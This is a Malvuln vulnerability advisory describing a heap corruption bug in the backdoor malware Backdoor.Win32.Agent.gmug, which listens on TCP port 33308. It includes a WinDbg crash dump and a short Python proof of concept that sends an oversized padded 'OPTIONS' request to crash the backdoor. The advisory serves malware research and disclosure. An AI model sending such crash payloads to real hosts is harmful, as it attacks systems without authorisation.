Authored by malvuln | Site malvuln.com

Backdoor.Win32.Agent.gmug malware suffers from a heap corruption vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c7763bae3376a9f2865a1a18e84c259e.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.gmug
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 33308, third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.
Type: PE32
MD5: c7763bae3376a9f2865a1a18e84c259e
Vuln ID: MVID-2021-0194
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021

Memory Dump:
(1a90.1b4): Unknown exception - code c0000017 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=4f495458 edx=00000053 esi=00000003 edi=00000003
eip=77aeed3c esp=045ef264 ebp=045ef3f4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77aeed3c c21400 ret 14h

0:004> .ecxr
eax=045efba0 ebx=045efc38 ecx=4f495458 edx=00000053 esi=0038f000 edi=00000000
eip=77b53c59 esp=045efba0 ebp=045efbf8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!RtlpAllocateHeapRaiseException+0x3b:
77b53c59 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:045efbf4=afc7855f

0:004> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe

FAULTING_IP:
ntdll!RtlpAllocateHeapRaiseException+3b
77b53c59 8b4dfc mov ecx,dword ptr [ebp-4]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
ExceptionCode: c0000017
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 4f495458

DEFAULT_BUCKET_ID: HEAP_CORRUPTION

PROCESS_NAME: Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe

ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_PARAMETER1: 4f495458

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

ADDITIONAL_DEBUG_TEXT: Enable Pageheap/AutoVerifer

FAULTING_THREAD: 000001b4

PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION

BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION

LAST_CONTROL_TRANSFER: from 77ac173a to 77b53c59

STACK_TEXT:
045efbf8 77ac173a 13145ad0 02570000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b
045efc38 77ac13ee 0000000c 00000000 13145ad0 ntdll!RtlpAllocateHeapInternal+0x33a
045efc50 13142054 02570000 0000000c 4f49544f ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
045efc68 1314210c 4f49544f 045efc94 131427b2 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x2054
045efc74 131427b2 4f49544f 00000008 0258e8e0 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x210c
045efc94 13145c0e 4f49544f afc78257 045efd24 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x27b2
045eff80 776f8654 0258e8e0 776f8630 e0881c1e Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x5c0e
045eff94 77ae4a77 0258e8e0 afc7817b 00000000 kernel32!BaseThreadInitThunk+0x24
045effdc 77ae4a47 ffffffff 77b09eb3 00000000 ntdll!__RtlUserThreadStart+0x2f
045effec 00000000 13145ad0 0258e8e0 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: ~4s; .ecxr ; kb

SYMBOL_NAME: heap_corruption!heap_corruption

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: heap_corruption

IMAGE_NAME: heap_corruption

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption

BUCKET_ID: APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption

Followup: MachineOwner
---------

0:004> .exr -1
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
ExceptionCode: c0000017
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 4f495458


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=33308

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

A = "OPTIONS / "+"A"*5482
B = "HTTP/1.1 "
C="A"*5481

PAYLOAD = A+B+C
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Agent.gmug / Heap Corruption")
print("MD5: c7763bae3376a9f2865a1a18e84c259e")
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).